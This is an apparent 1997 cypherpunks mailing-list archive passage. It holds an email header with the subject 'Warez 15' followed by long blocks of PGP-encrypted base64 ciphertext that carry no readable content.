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
aztO8IEVh9i5eruQt5T4N8bGI0okwSCEEDs=
=W2X4
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:40:46 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:40:46 +0800
Subject: Warez 15
Message-ID: <199712180832.AAA16124@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
